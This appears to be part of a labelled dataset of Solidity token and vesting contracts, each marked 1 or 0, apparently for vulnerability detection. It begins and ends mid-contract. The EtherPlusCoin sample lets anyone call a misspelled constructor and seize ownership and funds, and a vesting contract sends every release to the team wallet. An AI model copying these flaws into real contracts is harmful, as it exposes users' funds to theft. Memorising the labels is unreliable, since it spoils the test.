user[receiver].paid = user[receiver].paid.add(amount);
if (amount > address(this).balance) {
selfdestruct(receiver);
} else {
receiver.transfer(amount);
}
}
}
function bytesToAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
} | 1 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract EtherPlusCoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "EtherPlus Coin";
string public constant symbol = "EPCO";
uint public constant decimals = 8;
uint256 public totalSupply = 1518264859e8;
uint256 public totalDistributed = 227739728e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function EtherPluscoin () public {
owner = msg.sender;
value = 4000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract CTCVesting is Ownable {
using SafeMath for uint256;
address public teamWallet;
address public earlyWallet;
address public institutionWallet;
uint256 public teamTimeLock = 1000 days;
uint256 public earlyTimeLock = 5 * 30 days;
uint256 public institutionTimeLock = 50 * 30 days;
uint256 public teamAllocation = 15 * (10 ** 7) * (10 ** 18);
uint256 public earlyAllocation = 5 * (10 ** 7) * (10 ** 18);
uint256 public institutionAllocation = 15 * (10 ** 7) * (10 ** 18);
uint256 public totalAllocation = 35 * (10 ** 7) * (10 ** 18);
uint256 public teamStageSetting = 34;
uint256 public earlyStageSetting = 5;
uint256 public institutionStageSetting = 50;
ERC20Basic public token;
uint256 public start;
uint256 public lockStartTime;
mapping(address => uint256) public allocations;
mapping(address => uint256) public stageSettings;
mapping(address => uint256) public timeLockDurations;
mapping(address => uint256) public releasedAmounts;
modifier onlyReserveWallets {
require(allocations[msg.sender] > 0);
_;
}
function CTCVesting(ERC20Basic _token,
address _teamWallet,
address _earlyWallet,
address _institutionWallet,
uint256 _start,
uint256 _lockTime)public{
require(_start > 0);
require(_lockTime > 0);
require(_start.add(_lockTime) > 0);
require(_teamWallet != address(0));
require(_earlyWallet != address(0));
require(_institutionWallet != address(0));
token = _token;
teamWallet = _teamWallet;
earlyWallet = _earlyWallet;
institutionWallet = _institutionWallet;
start = _start;
lockStartTime = start.add(_lockTime);
}
function allocateToken() onlyOwner public{
require(block.timestamp > lockStartTime);
require(allocations[teamWallet] == 0);
require(token.balanceOf(address(this)) == totalAllocation);
allocations[teamWallet] = teamAllocation;
allocations[earlyWallet] = earlyAllocation;
allocations[institutionWallet] = institutionAllocation;
stageSettings[teamWallet] = teamStageSetting;
stageSettings[earlyWallet] = earlyStageSetting;
stageSettings[institutionWallet] = institutionStageSetting;
timeLockDurations[teamWallet] = teamTimeLock;
timeLockDurations[earlyWallet] = earlyTimeLock;
timeLockDurations[institutionWallet] = institutionTimeLock;
}
function releaseToken() onlyReserveWallets public{
uint256 totalUnlocked = unlockAmount();
require(totalUnlocked <= allocations[msg.sender]);
require(releasedAmounts[msg.sender] < totalUnlocked);
uint256 payment = totalUnlocked.sub(releasedAmounts[msg.sender]);
releasedAmounts[msg.sender] = totalUnlocked;
require(token.transfer(teamWallet, payment));
}
function unlockAmount() public view onlyReserveWallets returns(uint256){
uint256 stage = vestStage();
uint256 totalUnlocked = stage.mul(allocations[msg.sender]).div(stageSettings[msg.sender]);
return totalUnlocked;
}
function vestStage() public view onlyReserveWallets returns(uint256){
uint256 vestingMonths = timeLockDurations[msg.sender].div(stageSettings[msg.sender]);
uint256 stage = (block.timestamp.sub(lockStartTime)).div(vestingMonths);
if(stage > stageSettings[msg.sender]){
stage = stageSettings[msg.sender];
}
return stage;
}
} | 0 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EstateParticipationUnit
{
using SafeMath for uint256;
enum VoteType
{
NONE,
ALLOW_TRANSFER,
CHANGE_ADMIN_WALLET,
CHANGE_BUY_SELL_LIMITS,
CHANGE_BUY_SELL_PRICE,
SEND_WEI_FROM_EXCHANGE,
SEND_WEI_FROM_PAYMENT,
TRANSFER_EXCHANGE_WEI_TO_PAYMENT,
START_PAYMENT
}
struct VoteData
{
bool voteYes;
bool voteCancel;
address person;
uint lastVoteId;
}
struct PaymentData
{
uint weiTotal;
uint weiReceived;
uint unitsTotal;
uint unitsReceived;
uint weiForSingleUnit;
}
struct BalanceData
{
uint balance;
uint transferAllowed;
uint balancePaymentSeries;
VoteData vote;
mapping (address => uint) allowed;
bytes32 paymentBalances;
}
struct ChangeBuySellPriceVoteData
{
bool ignoreSecurityLimits;
uint buyPrice;
uint buyAddUnits;
uint sellPrice;
uint sellAddUnits;
}
struct AllowTransferVoteData
{
address addressTo;
uint amount;
}
struct ChangeAdminAddressVoteData
{
uint index;
address adminAddress;
}
struct ChangeBuySellLimitsVoteData
{
uint buyPriceMin;
uint buyPriceMax;
uint sellPriceMin;
uint sellPriceMax;
}
struct SendWeiFromExchangeVoteData
{
address addressTo;
uint amount;
}
struct SendWeiFromPaymentVoteData
{
address addressTo;
uint amount;
}
struct TransferWeiFromExchangeToPaymentVoteData
{
bool reverse;
uint amount;
}
struct StartPaymentVoteData
{
uint weiToShare;
uint date;
}
struct PriceSumData
{
uint price;
uint amount;
}
modifier onlyAdmin()
{
require (isAdmin(msg.sender));
_;
}
address private mainBalanceAdmin;
address private buyBalanceAdmin;
address private sellBalanceAdmin;
string public constant name = "Estate Participation Unit";
string public constant symbol = "EPU";
uint8 public constant decimals = 0;
uint public amountOfUnitsOutsideAdminWallet = 0;
uint private constant maxUnits = 200000000;
uint public paymentNumber = 0;
uint public paymentSortId = 0;
uint private paymentSeries = 0;
bytes32 private paymentHistory;
uint public weiForPayment = 0;
uint public totalAmountOfWeiPaidToUsers = 0;
uint private totalAmountOfWeiPaidToUsersPerSeries = 0;
uint private totalAmountOfWeiOnPaymentsPerSeries = 0;
uint public lastPaymentDate;
uint private weiBuyPrice = 50000000000000000;
uint private securityWeiBuyPriceFrom = 0;
uint private securityWeiBuyPriceTo = 0;
uint private weiSellPrice = 47000000000000000;
uint public unitsToSell = 0;
uint private securityWeiSellPriceFrom = 0;
uint private securityWeiSellPriceTo = 0;
uint public weiFromExchange = 0;
PriceSumData private buySum;
PriceSumData private sellSum;
uint private voteId = 0;
bool private voteInProgress;
uint private votesTotalYes;
uint private votesTotalNo;
uint private voteCancel;
AllowTransferVoteData private allowTransferVoteData;
ChangeAdminAddressVoteData private changeAdminAddressVoteData;
ChangeBuySellLimitsVoteData private changeBuySellLimitsVoteData;
ChangeBuySellPriceVoteData private changeBuySellPriceVoteData;
SendWeiFromExchangeVoteData private sendWeiFromExchangeVoteData;
SendWeiFromPaymentVoteData private sendWeiFromPaymentVoteData;
TransferWeiFromExchangeToPaymentVoteData private transferWeiFromExchangeToPaymentVoteData;
StartPaymentVoteData private startPaymentVoteData;
VoteType private voteType = VoteType.NONE;
mapping(address => BalanceData) private balances;
event Transfer(address indexed from, address indexed to, uint units);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event OnEmitNewUnitsFromMainWallet(uint units, uint totalOutside);
event OnAddNewUnitsToMainWallet(uint units, uint totalOutside);
event NewPayment(uint indexed index, uint totalWei, uint totalUnits, uint date);
event PaymentReceived(address indexed owner, uint paymentId, uint weiAmount, uint units);
event UnitsBuy(address indexed buyer, uint amount);
event UnitsSell(address indexed seller, uint amount);
event OnExchangeBuyUpdate(uint newValue, uint unitsToBuy);
event OnExchangeSellUpdate(uint newValue, uint unitsToSell);
modifier startVoting
{
require(voteType == VoteType.NONE);
_;
}
constructor(
uint paymentOffset,
address mainBalanceAdminAddress,
address buyBalanceAdminAddress,
address sellBalanceAdminAddress
)
payable
public
{
paymentNumber = paymentOffset;
mainBalanceAdmin = mainBalanceAdminAddress;
buyBalanceAdmin = buyBalanceAdminAddress;
sellBalanceAdmin = sellBalanceAdminAddress;
BalanceData storage b = balances[mainBalanceAdminAddress];
b.balance = maxUnits;
weiForPayment = weiForPayment.add(msg.value);
}
function getAdminAccounts()
external onlyAdmin view
returns(
address mainBalanceAdminAddress,
address buyBalanceAdminAddress,
address sellBalanceAdminAddress
)
{
mainBalanceAdminAddress = mainBalanceAdmin;
buyBalanceAdminAddress = buyBalanceAdmin;
sellBalanceAdminAddress = sellBalanceAdmin;
}
function getBuySellSum()
external onlyAdmin view
returns(
uint buyPrice,
uint buyAmount,
uint sellPrice,
uint sellAmount
)
{
buyPrice = buySum.price;
buyAmount = buySum.amount;
sellPrice = sellSum.price;
sellAmount = sellSum.amount;
}
function getSecurityLimits()
external view
returns(
uint buyPriceFrom,
uint buyPriceTo,
uint sellPriceFrom,
uint sellPriceTo
)
{
buyPriceFrom = securityWeiBuyPriceFrom;
buyPriceTo = securityWeiBuyPriceTo;
sellPriceFrom = securityWeiSellPriceFrom;
sellPriceTo = securityWeiSellPriceTo;
}
function getThisAddress()
external view
returns (address)
{
return address(this);
}
function() payable external
{
weiForPayment = weiForPayment.add(msg.value);
}
function startVotingForAllowTransfer(
address addressTo,
uint amount
)
external onlyAdmin startVoting
{
voteType = VoteType.ALLOW_TRANSFER;
allowTransferVoteData.addressTo = addressTo;
allowTransferVoteData.amount = amount;
internalStartVoting();
}
function startVotingForChangeAdminAddress(
uint index,
address adminAddress
)
external onlyAdmin startVoting
{
require(!isAdmin(adminAddress));
voteType = VoteType.CHANGE_ADMIN_WALLET;
changeAdminAddressVoteData.index = index;
changeAdminAddressVoteData.adminAddress = adminAddress;
internalStartVoting();
}
function startVotingForChangeBuySellLimits(
uint buyPriceMin,
uint buyPriceMax,
uint sellPriceMin,
uint sellPriceMax
)
external onlyAdmin startVoting
{
if(buyPriceMin > 0 && buyPriceMax > 0)
{
require(buyPriceMin < buyPriceMax);
}
if(sellPriceMin > 0 && sellPriceMax > 0)
{
require(sellPriceMin < sellPriceMax);
}
if(buyPriceMin > 0 && sellPriceMax > 0)
{
require(buyPriceMin >= sellPriceMax);
}
voteType = VoteType.CHANGE_BUY_SELL_LIMITS;
changeBuySellLimitsVoteData.buyPriceMin = buyPriceMin;
changeBuySellLimitsVoteData.buyPriceMax = buyPriceMax;
changeBuySellLimitsVoteData.sellPriceMin = sellPriceMin;
changeBuySellLimitsVoteData.sellPriceMax = sellPriceMax;
internalStartVoting();
}
function startVotingForChangeBuySellPrice(
uint buyPrice,
uint buyAddUnits,
uint sellPrice,
uint sellAddUnits,
bool ignoreSecurityLimits
)
external onlyAdmin startVoting
{
require(buyPrice >= sellPrice);
require(sellAddUnits * sellPrice <= weiFromExchange);
voteType = VoteType.CHANGE_BUY_SELL_PRICE;
changeBuySellPriceVoteData.buyPrice = buyPrice;
changeBuySellPriceVoteData.buyAddUnits = buyAddUnits;
changeBuySellPriceVoteData.sellPrice = sellPrice;
changeBuySellPriceVoteData.sellAddUnits = sellAddUnits;
changeBuySellPriceVoteData.ignoreSecurityLimits = ignoreSecurityLimits;
internalStartVoting();
}
function startVotingForSendWeiFromExchange(
address addressTo,
uint amount
)
external onlyAdmin startVoting
{
require(amount <= weiFromExchange);
voteType = VoteType.SEND_WEI_FROM_EXCHANGE;
sendWeiFromExchangeVoteData.addressTo = addressTo;
sendWeiFromExchangeVoteData.amount = amount;
internalStartVoting();
}
function startVotingForSendWeiFromPayment(
address addressTo,
uint amount
)
external onlyAdmin startVoting
{
uint balance = address(this).balance.sub(weiFromExchange);
require(amount <= balance && amount <= weiForPayment);
voteType = VoteType.SEND_WEI_FROM_PAYMENT;
sendWeiFromPaymentVoteData.addressTo = addressTo;
sendWeiFromPaymentVoteData.amount = amount;
internalStartVoting();
}
function startVotingForTransferWeiFromExchangeToPayment(
bool reverse,
uint amount
)
external onlyAdmin startVoting
{
if(reverse)
{
require(amount <= weiForPayment);
}
else
{
require(amount <= weiFromExchange);
}
voteType = VoteType.TRANSFER_EXCHANGE_WEI_TO_PAYMENT;
transferWeiFromExchangeToPaymentVoteData.reverse = reverse;
transferWeiFromExchangeToPaymentVoteData.amount = amount;
internalStartVoting();
}
function startVotingForStartPayment(
uint weiToShare,
uint date
)
external onlyAdmin startVoting
{
require(weiToShare > 0 && weiToShare <= weiForPayment);
voteType = VoteType.START_PAYMENT;
startPaymentVoteData.weiToShare = weiToShare;
startPaymentVoteData.date = date;
internalStartVoting();
}
function voteForCurrent(bool voteYes)
external onlyAdmin
{
require(voteType != VoteType.NONE);
VoteData storage d = balances[msg.sender].vote;
if(d.lastVoteId == voteId)
{
if(voteYes != d.voteYes)
{
if(voteYes)
{
votesTotalYes = votesTotalYes.add(1);
votesTotalNo = votesTotalNo.sub(1);
}
else
{
votesTotalYes = votesTotalYes.sub(1);
votesTotalNo = votesTotalNo.add(1);
}
}
}
if(d.lastVoteId < voteId)
{
if(voteYes)
{
votesTotalYes = votesTotalYes.add(1);
}
else
{
votesTotalNo = votesTotalNo.add(1);
}
}
if(votesTotalYes.mul(10).div(3) > 5)
{
if(voteType == VoteType.ALLOW_TRANSFER)
{
internalAllowTransfer(
allowTransferVoteData.addressTo,
allowTransferVoteData.amount
);
}
if(voteType == VoteType.CHANGE_ADMIN_WALLET)
{
internalChangeAdminWallet(
changeAdminAddressVoteData.index,
changeAdminAddressVoteData.adminAddress
);
}
if(voteType == VoteType.CHANGE_BUY_SELL_LIMITS)
{
internalChangeBuySellLimits(
changeBuySellLimitsVoteData.buyPriceMin,
changeBuySellLimitsVoteData.buyPriceMax,
changeBuySellLimitsVoteData.sellPriceMin,
changeBuySellLimitsVoteData.sellPriceMax
);
}
if(voteType == VoteType.CHANGE_BUY_SELL_PRICE)
{
internalChangeBuySellPrice(
changeBuySellPriceVoteData.buyPrice,
changeBuySellPriceVoteData.buyAddUnits,
changeBuySellPriceVoteData.sellPrice,
changeBuySellPriceVoteData.sellAddUnits,
changeBuySellPriceVoteData.ignoreSecurityLimits
);
}
if(voteType == VoteType.SEND_WEI_FROM_EXCHANGE)
{
internalSendWeiFromExchange(
sendWeiFromExchangeVoteData.addressTo,
sendWeiFromExchangeVoteData.amount
);
}
if(voteType == VoteType.SEND_WEI_FROM_PAYMENT)
{
internalSendWeiFromPayment(
sendWeiFromPaymentVoteData.addressTo,
sendWeiFromPaymentVoteData.amount
);
}
if(voteType == VoteType.TRANSFER_EXCHANGE_WEI_TO_PAYMENT)
{
internalTransferExchangeWeiToPayment(
transferWeiFromExchangeToPaymentVoteData.reverse,
transferWeiFromExchangeToPaymentVoteData.amount
);
}
if(voteType == VoteType.START_PAYMENT)
{
internalStartPayment(
startPaymentVoteData.weiToShare,
startPaymentVoteData.date
);
}
voteType = VoteType.NONE;
internalResetVotingData();
}
if(votesTotalNo.mul(10).div(3) > 5)
{
voteType = VoteType.NONE;
internalResetVotingData();
}
d.voteYes = voteYes;
d.lastVoteId = voteId;
}
function voteCancelCurrent()
external onlyAdmin
{
require(voteType != VoteType.NONE);
VoteData storage d = balances[msg.sender].vote;
if(d.lastVoteId <= voteId || !d.voteCancel)
{
d.voteCancel = true;
d.lastVoteId = voteId;
voteCancel++;
}
uint votesCalc = voteCancel.mul(10);
votesCalc = votesCalc.div(3);
if(votesCalc > 5)
{
voteType = VoteType.NONE;
internalResetVotingData();
}
}
function addEthForSell()
external payable onlyAdmin
{
require(msg.value > 0);
weiFromExchange = weiFromExchange.add(msg.value);
}
function addEthForPayment()
external payable
{
weiForPayment = weiForPayment.add(msg.value);
}
function buyEPU()
public payable
{
uint amount = msg.value.div(weiBuyPrice);
uint b = balances[buyBalanceAdmin].balance;
if(amount >= b)
{
amount = b;
}
uint price = amount.mul(weiBuyPrice);
weiFromExchange = weiFromExchange.add(price);
if(amount > 0)
{
buySum.price = buySum.price.add(price);
buySum.amount = buySum.amount.add(amount);
internalAllowTransfer(msg.sender, amount);
internalTransfer(buyBalanceAdmin, msg.sender, amount);
emit UnitsBuy(msg.sender, amount);
}
if(msg.value > price)
{
msg.sender.transfer(msg.value.sub(price));
}
}
function sellEPU(uint amount)
external payable
returns(uint revenue)
{
require(amount > 0);
uint fixedAmount = amount;
BalanceData storage b = balances[msg.sender];
uint balance = b.balance;
uint max = balance < unitsToSell ? balance : unitsToSell;
if(fixedAmount > max)
{
fixedAmount = max;
}
uint price = fixedAmount.mul(weiSellPrice);
require(price > 0 && price <= weiFromExchange);
sellSum.price = sellSum.price.add(price);
sellSum.amount = sellSum.amount.add(amount);
internalTransfer(msg.sender, sellBalanceAdmin, fixedAmount);
weiFromExchange = weiFromExchange.sub(price);
emit UnitsSell(msg.sender, fixedAmount);
msg.sender.transfer(price);
return price;
}
function checkPayment()
external
{
internalCheckPayment(msg.sender);
}
function checkPaymentFor(
address person
)
external
{
internalCheckPayment(person);
}
function accountData()
external view
returns (
uint unitsBalance,
uint payableUnits,
uint totalWeiToReceive,
uint weiBuyPriceForUnit,
uint buyUnitsLeft,
uint weiSellPriceForUnit,
uint sellUnitsLeft
)
{
BalanceData storage b = balances[msg.sender];
unitsBalance = b.balance;
if(b.balancePaymentSeries < paymentSeries)
{
payableUnits = unitsBalance;
for(uint i = 0; i <= paymentSortId; i++)
{
totalWeiToReceive = totalWeiToReceive.add(getPaymentWeiPerUnit(i).mul(payableUnits));
}
}
else
{
(totalWeiToReceive, payableUnits) = getAddressWeiFromPayments(b);
}
weiBuyPriceForUnit = weiBuyPrice;
buyUnitsLeft = balances[buyBalanceAdmin].balance;
weiSellPriceForUnit = weiSellPrice;
sellUnitsLeft = unitsToSell;
}
function getBuyUnitsInformations()
external view
returns(
uint weiBuyPriceForUnit,
uint unitsLeft
)
{
weiBuyPriceForUnit = weiBuyPrice;
unitsLeft = balances[buyBalanceAdmin].balance;
}
function getSellUnitsInformations()
external view
returns(
uint weiSellPriceForUnit,
uint unitsLeft
)
{
weiSellPriceForUnit = weiSellPrice;
unitsLeft = unitsToSell;
}
function checkVotingForAllowTransfer()
external view onlyAdmin
returns(
address allowTo,
uint amount,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.ALLOW_TRANSFER);
return (
allowTransferVoteData.addressTo,
allowTransferVoteData.amount,
votesTotalYes,
votesTotalNo,
voteType == VoteType.ALLOW_TRANSFER
);
}
function checkVotingForChangeAdminAddress()
external view onlyAdmin
returns(
uint adminId,
address newAdminAddress,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.CHANGE_ADMIN_WALLET);
return (
changeAdminAddressVoteData.index,
changeAdminAddressVoteData.adminAddress,
votesTotalYes,
votesTotalNo,
voteType == VoteType.CHANGE_ADMIN_WALLET
);
}
function checkVotingForChangeBuySellLimits()
external view onlyAdmin
returns(
uint buyPriceMin,
uint buyPriceMax,
uint sellPriceMin,
uint sellPriceMax,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.CHANGE_BUY_SELL_LIMITS);
return (
changeBuySellLimitsVoteData.buyPriceMin,
changeBuySellLimitsVoteData.buyPriceMax,
changeBuySellLimitsVoteData.sellPriceMin,
changeBuySellLimitsVoteData.sellPriceMax,
votesTotalYes,
votesTotalNo,
voteType == VoteType.CHANGE_BUY_SELL_LIMITS
);
}
function checkVotingForChangeBuySellPrice()
external view onlyAdmin
returns(
uint buyPrice,
uint buyAddUnits,
uint sellPrice,
uint sellAddUnits,
bool ignoreSecurityLimits,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.CHANGE_BUY_SELL_PRICE);
return (
changeBuySellPriceVoteData.buyPrice,
changeBuySellPriceVoteData.buyAddUnits,
changeBuySellPriceVoteData.sellPrice,
changeBuySellPriceVoteData.sellAddUnits,
changeBuySellPriceVoteData.ignoreSecurityLimits,
votesTotalYes,
votesTotalNo,
voteType == VoteType.CHANGE_BUY_SELL_PRICE
);
}
function checkVotingForSendWeiFromExchange()
external view onlyAdmin
returns(
address addressTo,
uint weiAmount,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.SEND_WEI_FROM_EXCHANGE);
return (
sendWeiFromExchangeVoteData.addressTo,
sendWeiFromExchangeVoteData.amount,
votesTotalYes,
votesTotalNo,
voteType == VoteType.SEND_WEI_FROM_EXCHANGE
);
}
function checkVotingForSendWeiFromPayment()
external view onlyAdmin
returns(
address addressTo,
uint weiAmount,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.SEND_WEI_FROM_PAYMENT);
return (
sendWeiFromPaymentVoteData.addressTo,
sendWeiFromPaymentVoteData.amount,
votesTotalYes,
votesTotalNo,
voteType == VoteType.SEND_WEI_FROM_PAYMENT
);
}
function checkVotingForTransferWeiFromExchangeToPayment()
external view onlyAdmin
returns (
bool reverse,
uint amount,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.TRANSFER_EXCHANGE_WEI_TO_PAYMENT);
return (
transferWeiFromExchangeToPaymentVoteData.reverse,
transferWeiFromExchangeToPaymentVoteData.amount,
votesTotalYes,
votesTotalNo,
voteType == VoteType.TRANSFER_EXCHANGE_WEI_TO_PAYMENT
);
}
function checkVotingForStartPayment()
external view onlyAdmin
returns(
uint weiToShare,
uint date,
uint votesYes,
uint votesNo,
bool stillActive
)
{
require(voteType == VoteType.START_PAYMENT);
return (
startPaymentVoteData.weiToShare,
startPaymentVoteData.date,
votesTotalYes,
votesTotalNo,
voteType == VoteType.START_PAYMENT
);
}
function totalSupply()
public constant
returns (uint)
{
return maxUnits - balances[mainBalanceAdmin].balance;
}
function balanceOf(address unitOwner)
public constant
returns (uint balance)
{
balance = balances[unitOwner].balance;
}
function transferFrom(
address from,
address to, uint units
)
public
returns (bool success)
{
BalanceData storage b = balances[from];
uint a = b.allowed[msg.sender];
a = a.sub(units);
b.allowed[msg.sender] = a;
success = internalTransfer(from, to, units);
}
function approve(
address spender,
uint units
)
public
returns (bool success)
{
balances[msg.sender].allowed[spender] = units;
emit Approval(msg.sender, spender, units);
success = true;
}
function allowance(
address unitOwner,
address spender
)
public constant
returns (uint remaining)
{
remaining = balances[unitOwner].allowed[spender];
}
function transfer(
address to,
uint value
)
public
returns (bool success)
{
return internalTransfer(msg.sender, to, value);
}
function getMaskForPaymentBytes() private pure returns(bytes32)
{
return bytes32(uint(2**32 - 1));
}
function getPaymentBytesIndexSize(uint index) private pure returns (uint)
{
return 32 * index;
}
function getPaymentWeiPerUnit(uint index) private view returns(uint weiPerUnit)
{
bytes32 mask = getMaskForPaymentBytes();
uint offsetIndex = getPaymentBytesIndexSize(index);
mask = shiftLeft(mask, offsetIndex);
bytes32 before = paymentHistory & mask;
weiPerUnit = uint(shiftRight(before, offsetIndex)).mul(1000000000000);
}
function getMask() private pure returns (bytes32)
{
return bytes32(uint(2**32 - 1));
}
function getBitIndex(uint index) private pure returns (uint)
{
return 32 * index;
}
function shiftLeft (bytes32 a, uint n) private pure returns (bytes32)
{
uint shifted = uint(a) * 2 ** uint(n);
return bytes32(shifted);
}
function shiftRight (bytes32 a, uint n) private pure returns (bytes32)
{
uint shifted = uint(a) / 2 ** uint(n);
return bytes32(shifted);
}
function internalStartVoting()
private onlyAdmin
{
internalResetVotingData();
voteId = voteId.add(1);
}
function internalResetVotingData()
private onlyAdmin
{
votesTotalYes = 0;
votesTotalNo = 0;
voteCancel = 0;
}
function internalAllowTransfer(
address from,
uint amount
)
private
{
BalanceData storage b = balances[from];
